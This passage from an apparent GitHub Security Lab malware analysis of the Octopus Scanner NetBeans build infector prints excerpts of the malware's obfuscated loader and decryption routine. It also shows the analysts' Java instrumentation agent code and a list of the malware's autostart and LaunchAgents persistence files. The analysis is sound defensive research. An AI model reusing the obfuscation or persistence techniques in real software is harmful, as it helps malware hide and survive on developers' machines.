    <span class="nc">System</span><span class="o">.</span><span class="na">arraycopy</span><span class="o">(</span><span class="k">new</span> <span class="kt">byte</span><span class="o">[]{-</span><span class="mi">81</span><span class="o">,</span> <span class="mi">51</span><span class="o">,</span> <span class="o">-</span><span class="mi">95</span><span class="o">,</span> <span class="o">-</span><span class="mi">91</span><span class="o">,</span> <span class="o">...,</span> <span class="o">-</span><span class="mi">88</span><span class="o">,</span> <span class="o">-</span><span class="mi">16</span><span class="o">,</span> <span class="mi">89</span><span class="o">,</span> <span class="mi">33</span><span class="o">},</span> <span class="mi">0</span><span class="o">,</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])</span><span class="n">var0</span><span class="o">.</span><span class="na">getField</span><span class="o">(</span><span class="s">"a"</span><span class="o">).</span><span class="na">get</span><span class="o">((</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">),</span> <span class="mi">1024</span><span class="o">,</span> <span class="mi">1024</span><span class="o">);</span>  
    <span class="n">var0</span><span class="o">.</span><span class="na">getMethod</span><span class="o">(</span><span class="s">"a1009916519"</span><span class="o">).</span><span class="na">invoke</span><span class="o">((</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>After the blob’s reconstruction, it decrypts the encrypted blob with the following routine:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">a1009916519</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">Class</span> <span class="n">var0</span> <span class="o">=</span> <span class="nc">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">().</span><span class="na">getStackTrace</span><span class="o">()[</span><span class="mi">1</span><span class="o">].</span><span class="na">getClassName</span><span class="o">());</span>
    <span class="o">...</span>
    <span class="kt">byte</span><span class="o">[]</span> <span class="n">var3</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">[])</span><span class="nc">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">().</span><span class="na">getStackTrace</span><span class="o">()[</span><span class="mi">1</span><span class="o">].</span><span class="na">getClassName</span><span class="o">()).</span><span class="na">getField</span><span class="o">(</span><span class="s">"a"</span><span class="o">).</span><span class="na">get</span><span class="o">((</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span>
    <span class="kt">int</span> <span class="n">var1</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span>

    <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">var2</span> <span class="o">=</span> <span class="mi">3201</span><span class="o">;</span> <span class="n">var1</span> <span class="o">&lt;</span> <span class="mi">3008</span><span class="o">;</span> <span class="n">var1</span> <span class="o">+=</span> <span class="mi">3</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">var2</span> <span class="o">=</span> <span class="n">var2</span> <span class="o">%</span> <span class="mi">17</span> <span class="o">-</span> <span class="mi">233</span> <span class="o">+</span> <span class="n">var2</span> <span class="o">%</span> <span class="mi">236</span><span class="o">;</span>
        <span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">1</span><span class="o">]</span> <span class="o">-</span> <span class="o">(~</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">+</span> <span class="n">var2</span> <span class="o">-</span> <span class="o">(</span><span class="mi">18</span> <span class="o">-</span> <span class="n">var2</span><span class="o">)));</span>
        <span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">]</span> <span class="o">-</span> <span class="o">(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">1</span><span class="o">]</span> <span class="o">-</span> <span class="o">(~</span><span class="n">var2</span> <span class="o">&amp;</span> <span class="mi">23</span><span class="o">)</span> <span class="o">-</span> <span class="mi">133</span><span class="o">));</span>
        <span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">+</span> <span class="o">-</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">1</span><span class="o">]</span> <span class="o">%</span> <span class="mi">51</span> <span class="o">+</span> <span class="o">(~</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">]</span> <span class="o">|</span> <span class="mi">134</span><span class="o">));</span>
        <span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">^</span> <span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">]</span> <span class="o">-</span> <span class="mi">30</span> <span class="o">+</span> <span class="n">var2</span> <span class="o">%</span> <span class="mi">3</span><span class="o">);</span>
        <span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">=</span> <span class="o">(</span><span class="kt">byte</span><span class="o">)(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span><span class="o">]</span> <span class="o">-</span> <span class="o">((</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">1</span><span class="o">]</span> <span class="o">&amp;</span> <span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">])</span> <span class="o">-</span> <span class="o">(</span><span class="n">var3</span><span class="o">[</span><span class="n">var1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">]</span> <span class="o">-</span> <span class="mi">1</span><span class="o">)));</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Being able to access this decrypted data will give us a good idea of what the malware is actually doing. In order to get to this data right after it gets decrypted, we used a Java instrumentation agent that modifies the Bytecode of the class responsible for decrypting the blob (<code class="language-plaintext highlighter-rouge">b.b</code>) right before it actually gets loaded into the JVM.</p>

<p>We can do this by writing a <a href="https://docs.oracle.com/javase/9/docs/api/java/lang/instrument/ClassFileTransformer.html">ClassFileTransformer</a> and then using a Bytecode manipulation library such as <a href="https://github.com/jboss-javassist/javassist">Javassist</a> or <a href="https://github.com/raphw/byte-buddy">ByteBuddy</a> to inject our analysis code:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ClassPool</span> <span class="n">cp</span> <span class="o">=</span> <span class="nc">ClassPool</span><span class="o">.</span><span class="na">getDefault</span><span class="o">();</span>

<span class="c1">// Get b.b class</span>
<span class="nc">CtClass</span> <span class="n">cc</span> <span class="o">=</span> <span class="n">cp</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="s">"b.b"</span><span class="o">);</span>

<span class="c1">// Get decryption method</span>
<span class="nc">CtMethod</span> <span class="n">m</span> <span class="o">=</span> <span class="n">cc</span><span class="o">.</span><span class="na">getDeclaredMethod</span><span class="o">(</span><span class="s">"a1009916519"</span><span class="o">);</span>

<span class="c1">// Inject code to dump `this.a`</span>
<span class="nc">String</span> <span class="n">endBlock</span> <span class="o">=</span> <span class="s">"org.apache.commons.io.FileUtils.writeByteArrayToFile(new java.io.File(\"/tmp/memory_dump\"), (byte[]) Class.forName(Thread.currentThread().getStackTrace()[1].getClassName()).getField(\"a\").get(null));"</span><span class="o">;</span>
<span class="n">m</span><span class="o">.</span><span class="na">insertAfter</span><span class="o">(</span><span class="n">endBlock</span><span class="o">);</span>

<span class="n">byteCode</span> <span class="o">=</span> <span class="n">cc</span><span class="o">.</span><span class="na">toBytecode</span><span class="o">();</span>
<span class="n">cc</span><span class="o">.</span><span class="na">detach</span><span class="o">();</span>
</code></pre></div></div>

<p>By inspecting the <code class="language-plaintext highlighter-rouge">/tmp/memory_dump</code> file we obtain a much clearer understanding of what the malware is doing:</p>

<p><img src="/assets/img/post-images/octopus-strings.png" alt="Figure 5: Memory dump" /></p>

<p>Another useful transformation for analysis involves modifying the <code class="language-plaintext highlighter-rouge">java.io.FileOutputStream</code> constructor to capture the names of the files the dropper in question is writing to:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(</span><span class="n">finalTargetClassName</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"java/io/FileOutputStream"</span><span class="o">))</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"[IN] "</span> <span class="o">+</span> <span class="n">className</span><span class="o">);</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">ClassPool</span> <span class="n">cp</span> <span class="o">=</span> <span class="nc">ClassPool</span><span class="o">.</span><span class="na">getDefault</span><span class="o">();</span>
        <span class="nc">CtClass</span> <span class="n">cc</span> <span class="o">=</span> <span class="n">cp</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">targetClassName</span><span class="o">);</span>
        <span class="nc">CtConstructor</span><span class="o">[]</span> <span class="n">ctors</span> <span class="o">=</span> <span class="n">cc</span><span class="o">.</span><span class="na">getDeclaredConstructors</span><span class="o">();</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">CtConstructor</span> <span class="n">ctor</span> <span class="o">:</span> <span class="n">ctors</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">ctor</span><span class="o">.</span><span class="na">insertBefore</span><span class="o">(</span><span class="s">"System.out.println(java.lang.String.valueOf($args[0]));"</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="n">byteCode</span> <span class="o">=</span> <span class="n">cc</span><span class="o">.</span><span class="na">toBytecode</span><span class="o">();</span>
        <span class="n">cc</span><span class="o">.</span><span class="na">detach</span><span class="o">();</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"[Agent] Class successfully modified"</span><span class="o">);</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">e</span><span class="o">.</span><span class="na">getMessage</span><span class="o">());</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>This provides us with a good understanding of which files the malware is initially trying to access.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwntester@pwnlab:~/workspace/octopus-analysis/java_agent<span class="nv">$ </span>java <span class="nt">-javaagent</span>:Dumper-1.0-SNAPSHOT-jar-with-dependencies.jar <span class="nt">-cp</span> .:/ Test
Registering transformer <span class="k">for </span>java.io.FileOutputStream
<span class="o">[</span>Agent] Transforming class java/io/FileOutputStream
<span class="o">[</span>IN] java/io/FileOutputStream
<span class="o">[</span>Agent] Class successfully modified
Dumping: java/io/FileOutputStream

/home/pwntester/.config/autostart/.desktop 
/home/pwntester/.config/autostart/none.desktop 
/home/pwntester/.local/share/Main.class 
/home/pwntester/Library/LaunchAgents/SoftwareSync.plist 
/home/pwntester/Library/LaunchAgents/AutoUpdater.plist 
/home/pwntester/Library/LaunchAgents/Main.class 
</code></pre></div></div>

<h2 id="conclusions">Conclusions</h2>

<p>While we have seen many cases where the software supply chain was compromised by hijacking developer credentials or typosquatting popular package names, a malware that abuses the build process and its resulting artifacts to spread is both interesting and concerning for multiple reasons.</p>

<p>In an OSS context, it gives the malware an effective means of transmission since the affected projects will presumably get cloned, forked, and used on potentially many different systems. The actual artifacts of these builds may spread even further in a way that is disconnected from the original build process and harder to track down after the fact.</p>

<p>Since the primary-infected users are developers, the access that is gained is of high interest to attackers since developers generally have access to additional projects, production environments, database passwords, and other critical assets. There is a huge potential for escalation of access, which is a core attacker objective in most cases.</p>

<p>It was interesting that this malware attacked the NetBeans build process specifically since it is not the most common Java IDE in use today. If malware developers took the time to implement this malware specifically for NetBeans, it means that it could either be a targeted attack, or they may already have implemented the malware for build systems such as Make, MsBuild, Gradle and others as well and it may be spreading unnoticed.</p>

<p>While infecting build processes is certainly <a href="https://www.youtube.com/watch?v=-UU9fC0NDIA">not a new idea</a>, seeing it actively deployed and used in the wild is certainly a disturbing trend.</p>

<p>As such, GitHub is continuously thinking about ways we can improve the integrity and security of the OSS supply chain. This includes features such to help detect issues in your dependencies, using <a href="https://help.github.com/en/github/visualizing-repository-data-with-graphs/listing-the-packages-that-a-repository-depends-on">Dependency Graph</a>, <a href="https://help.github.com/en/github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies">security alerts for vulnerable dependencies</a>, and <a href="https://help.github.com/en/github/managing-security-vulnerabilities/configuring-automated-security-updates">automated security updates</a>; and features to help detect potential issues in your code, including <a href="https://help.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning">code scanning</a> and <a href="https://help.github.com/en/github/administering-a-repository/about-secret-scanning">secret scanning</a>. And of course, we maintain an active response channel and research capability through GitHub SIRT and GitHub Security Lab, as well as initiatives such as the Open Source Security Coalition.</p>

<p>Thanks to <a href="https://twitter.com/dfir_it">JJ (@dfir_it)</a>, <a href="https://github.com/anticomputer">@anticomputer</a>, <a href="https://github.com/jayswan">@jayswan</a>, <a href="https://github.com/nicowaisman">@nicowaisman</a>, and <a href="https://github.com/swannysec">@swannysec</a> for the contribution to this research and blog post.</p>

    </main>
  </div>



  <footer class="sc-dVhcbM cBEMHy footer mt-6">
  <div class="container-xl p-responsive">
    <div class="d-flex flex-wrap py-5 mb-5">
      <div class="col-12 col-lg-4 mb-5">
        <a href="https://github.com/" data-ga-click="Footer, go to home, text:home" class="text-gray-dark" aria-label="Go to GitHub homepage">
          <svg height="30" class="octicon octicon-logo-github" viewBox="0 0 45 16" version="1.1" width="84" aria-hidden="true">
            <path fill-rule="evenodd" d="M18.53 12.03h-.02c.009 0 .015.01.024.011h.006l-.01-.01zm.004.011c-.093.001-.327.05-.574.05-.78 0-1.05-.36-1.05-.83V8.13h1.59c.09 0 .16-.08.16-.19v-1.7c0-.09-.08-.17-.16-.17h-1.59V3.96c0-.08-.05-.13-.14-.13h-2.16c-.09 0-.14.05-.14.13v2.17s-1.09.27-1.16.28c-.08.02-.13.09-.13.17v1.36c0 .11.08.19.17.19h1.11v3.28c0 2.44 1.7 2.69 2.86 2.69.53 0 1.17-.17 1.27-.22.06-.02.09-.09.09-.16v-1.5a.177.177 0 00-.146-.18zM42.23 9.84c0-1.81-.73-2.05-1.5-1.97-.6.04-1.08.34-1.08.34v3.52s.49.34 1.22.36c1.03.03 1.36-.34 1.36-2.25zm2.43-.16c0 3.43-1.11 4.41-3.05 4.41-1.64 0-2.52-.83-2.52-.83s-.04.46-.09.52c-.03.06-.08.08-.14.08h-1.48c-.1 0-.19-.08-.19-.17l.02-11.11c0-.09.08-.17.17-.17h2.13c.09 0 .17.08.17.17v3.77s.82-.53 2.02-.53l-.01-.02c1.2 0 2.97.45 2.97 3.88zm-8.72-3.61h-2.1c-.11 0-.17.08-.17.19v5.44s-.55.39-1.3.39-.97-.34-.97-1.09V6.25c0-.09-.08-.17-.17-.17h-2.14c-.09 0-.17.08-.17.17v5.11c0 2.2 1.23 2.75 2.92 2.75 1.39 0 2.52-.77 2.52-.77s.05.39.08.45c.02.05.09.09.16.09h1.34c.11 0 .17-.08.17-.17l.02-7.47c0-.09-.08-.17-.19-.17zm-23.7-.01h-2.13c-.09 0-.17.09-.17.2v7.34c0 .2.13.27.3.27h1.92c.2 0 .25-.09.25-.27V6.23c0-.09-.08-.17-.17-.17zm-1.05-3.38c-.77 0-1.38.61-1.38 1.38 0 .77.61 1.38 1.38 1.38.75 0 1.36-.61 1.36-1.38 0-.77-.61-1.38-1.36-1.38zm16.49-.25h-2.11c-.09 0-.17.08-.17.17v4.09h-3.31V2.6c0-.09-.08-.17-.17-.17h-2.13c-.09 0-.17.08-.17.17v11.11c0 .09.09.17.17.17h2.13c.09 0 .17-.08.17-.17V8.96h3.31l-.02 4.75c0 .09.08.17.17.17h2.13c.09 0 .17-.08.17-.17V2.6c0-.09-.08-.17-.17-.17zM8.81 7.35v5.74c0 .04-.01.11-.06.13 0 0-1.25.89-3.31.89-2.49 0-5.44-.78-5.44-5.92S2.58 1.99 5.1 2c2.18 0 3.06.49 3.2.58.04.05.06.09.06.14L7.94 4.5c0 .09-.09.2-.2.17-.36-.11-.9-.33-2.17-.33-1.47 0-3.05.42-3.05 3.73s1.5 3.7 2.58 3.7c.92 0 1.25-.11 1.25-.11v-2.3H4.88c-.11 0-.19-.08-.19-.17V7.35c0-.09.08-.17.19-.17h3.74c.11 0 .19.08.19.17z"></path>
          </svg>
        </a>
      </div>
      <div class="col-6 col-sm-3 col-lg-2 mb-6 mb-md-2 pr-3 pr-lg-0 pl-lg-4">
        <h2 class="h5 mb-3 text-mono text-gray-light text-normal">Product</h2>
        <ul class="list-style-none text-gray f5">
          <li class="lh-condensed mb-3"><a href="https://github.com/features" data-ga-click="Footer, go to features, text:features" class="link-gray">Features</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security" class="link-gray">Security</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/enterprise" data-ga-click="Footer, go to enterprise, text:enterprise" class="link-gray">Enterprise</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/customer-stories?type=enterprise" data-ga-click="Footer, go to customer stories, text:customer stories" class="link-gray">Customer stories</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to pricing, text:pricing" class="link-gray">Pricing</a></li>
          <li class="lh-condensed mb-3"><a href="https://resources.github.com" data-ga-click="Footer, go to resources, text:resources" class="link-gray">Resources</a></li>
        </ul>
      </div>
      <div class="col-6 col-sm-3 col-lg-2 mb-6 mb-md-2 pr-3 pr-md-0 pl-md-4">
        <h2 class="h5 mb-3 text-mono text-gray-light text-normal">Platform</h2>
        <ul class="list-style-none f5">
          <li class="lh-condensed mb-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api" class="link-gray">Developer API</a></li>
          <li class="lh-condensed mb-3"><a href="http://partner.github.com/" data-ga-click="Footer, go to partner, text:partner" class="link-gray ">Partners</a></li>
          <li class="lh-condensed mb-3"><a href="https://atom.io" data-ga-click="Footer, go to atom, text:atom" class="link-gray ">Atom</a></li>
          <li class="lh-condensed mb-3"><a href="http://electron.atom.io/" data-ga-click="Footer, go to electron, text:electron" class="link-gray ">Electron</a></li>
          <li class="lh-condensed mb-3"><a href="https://desktop.github.com/" data-ga-click="Footer, go to desktop, text:desktop" class="link-gray ">GitHub Desktop</a></li>
        </ul>
      </div>
      <div class="col-6 col-sm-3 col-lg-2 mb-6 mb-md-2 pr-3 pr-md-0 pl-md-4">
        <h2 class="h5 mb-3 text-mono text-gray-light text-normal">Support</h2>
        <ul class="list-style-none f5">
          <li class="lh-condensed mb-3"><a data-ga-click="Footer, go to help, text:docs" class="link-gray " href="https://docs.github.com">Docs</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.community" data-ga-click="Footer, go to community, text:community" class="link-gray ">Community Forum</a></li>
          <li class="lh-condensed mb-3"><a href="https://services.github.com/" data-ga-click="Footer, go to professional services, text:professional services" class="link-gray ">Professional Services</a></li>
          <li class="lh-condensed mb-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status" class="link-gray ">Status</a></li>
          <li class="lh-condensed mb-3"><a data-ga-click="Footer, go to contact, text:contact" class="link-gray " href="https://support.github.com">Contact GitHub</a></li>
        </ul>
      </div>
      <div class="col-6 col-sm-3 col-lg-2 mb-6 mb-md-2 pr-3 pr-md-0 pl-md-4">
        <h2 class="h5 mb-3 text-mono text-gray-light text-normal">Company</h2>
        <ul class="list-style-none f5">
          <li class="lh-condensed mb-3"><a data-ga-click="Footer, go to about, text:about" class="link-gray " href="https://github.com/about">About</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.blog" data-ga-click="Footer, go to blog, text:blog" class="link-gray">Blog</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/about/careers" data-ga-click="Footer, go to careers, text:careers" class="link-gray">Careers</a></li>
          <li class="lh-condensed mb-3"><a href="https://github.com/about/press" data-ga-click="Footer, go to press, text:press" class="link-gray">Press</a></li>
          <li class="lh-condensed mb-3"><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop" class="link-gray">Shop</a></li>
        </ul>
      </div>
    </div>
  </div>
  <div class="bg-gray-light">
    <div class="container-xl p-responsive f6 py-4 d-sm-flex flex-justify-between flex-row-reverse flex-items-center">
      <ul class="list-style-none d-flex flex-items-center mb-3 mb-sm-0 lh-condensed-ultra social-icons">
        <li class="mr-3">
          <a href="https://twitter.com/github" data-ga-click="Footer, go to Twitter, text:twitter" title="GitHub on Twitter">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 273.5 222.3" class="d-block" height="18">
              <path d="M273.5 26.3a109.77 109.77 0 0 1-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 54 54 0 0 0 1.5 12.8A159.68 159.68 0 0 1 19.1 10.3a56.12 56.12 0 0 0 17.4 74.9 56.06 56.06 0 0 1-25.4-7v.7a56.11 56.11 0 0 0 45 55 55.65 55.65 0 0 1-14.8 2 62.39 62.39 0 0 1-10.6-1 56.24 56.24 0 0 0 52.4 39 112.87 112.87 0 0 1-69.7 24 119 119 0 0 1-13.4-.8 158.83 158.83 0 0 0 86 25.2c103.2 0 159.6-85.5 159.6-159.6 0-2.4-.1-4.9-.2-7.3a114.25 114.25 0 0 0 28.1-29.1" fill="currentColor"></path>
            </svg>
          </a>
        </li>
        <li class="mr-3">
          <a href="https://www.facebook.com/GitHub" data-ga-click="Footer, go to Facebook, text:facebook" title="GitHub on Facebook">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 15.3 15.4" class="d-block" height="18">
              <path d="M14.5 0H.8a.88.88 0 0 0-.8.9v13.6a.88.88 0 0 0 .8.9h7.3v-6h-2V7.1h2V5.4a2.87 2.87 0 0 1 2.5-3.1h.5a10.87 10.87 0 0 1 1.8.1v2.1h-1.3c-1 0-1.1.5-1.1 1.1v1.5h2.3l-.3 2.3h-2v5.9h3.9a.88.88 0 0 0 .9-.8V.8a.86.86 0 0 0-.8-.8z" fill="currentColor"></path>
            </svg>
          </a>
        </li>
        <li class="mr-3">
          <a href="https://www.youtube.com/github" data-ga-click="Footer, go to YouTube, text:youtube" title="GitHub on YouTube">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 19.17 13.6" class="d-block" height="16">
              <path d="M18.77 2.13A2.4 2.4 0 0 0 17.09.42C15.59 0 9.58 0 9.58 0a57.55 57.55 0 0 0-7.5.4A2.49 2.49 0 0 0 .39 2.13 26.27 26.27 0 0 0 0 6.8a26.15 26.15 0 0 0 .39 4.67 2.43 2.43 0 0 0 1.69 1.71c1.52.42 7.5.42 7.5.42a57.69 57.69 0 0 0 7.51-.4 2.4 2.4 0 0 0 1.68-1.71 25.63 25.63 0 0 0 .4-4.67 24 24 0 0 0-.4-4.69zM7.67 9.71V3.89l5 2.91z" fill="currentColor"></path>
            </svg>
          </a>
        </li>
        <li class="mr-3 flex-self-start">
          <a href="https://www.linkedin.com/company/github" data-ga-click="Footer, go to Linkedin, text:linkedin" title="GitHub on Linkedin">
            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 19 18" class="d-block" height="18">
              <path d="M3.94 2A2 2 0 1 1 2 0a2 2 0 0 1 1.94 2zM4 5.48H0V18h4zm6.32 0H6.34V18h3.94v-6.57c0-3.66 4.77-4 4.77 0V18H19v-7.93c0-6.17-7.06-5.94-8.72-2.91z" fill="currentColor"></path>
            </svg>
          </a>
        </li>
        <li>
          <a href="https://github.com/github" data-ga-click="Footer, go to github's org, text:github" title="GitHub's organization">
            <svg height="20" class="octicon octicon-mark-github d-block" viewBox="0 0 16 16" version="1.1" width="20" aria-hidden="true">
              <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path>
            </svg>
          </a>
        </li>
      </ul>
      <ul class="list-style-none d-flex text-gray">
        <li class="mr-3">
          © <!-- -->2021<!-- --> GitHub, Inc.
        </li>
        <li class="mr-3"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-ga-click="Footer, go to terms, text:terms" class="link-gray">Terms</a></li>
        <li class="mr-3"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-ga-click="Footer, go to privacy, text:privacy" class="link-gray">Privacy</a></li>
        <li><a href="#" class="link-gray">Cookie settings</a></li>
      </ul>
    </div>
  </div>
</footer>


  <!-- JAVASCRIPT -->
  <script src="/assets/js/main.js"></script>
</body>
</html>
